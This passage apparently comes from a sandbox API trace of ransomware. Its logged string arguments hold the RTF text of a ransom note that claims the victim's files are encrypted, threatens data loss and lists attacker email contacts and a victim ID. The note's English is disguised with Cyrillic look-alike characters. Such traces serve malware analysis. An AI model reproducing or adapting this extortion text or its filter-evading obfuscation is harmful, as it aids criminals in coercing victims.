n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 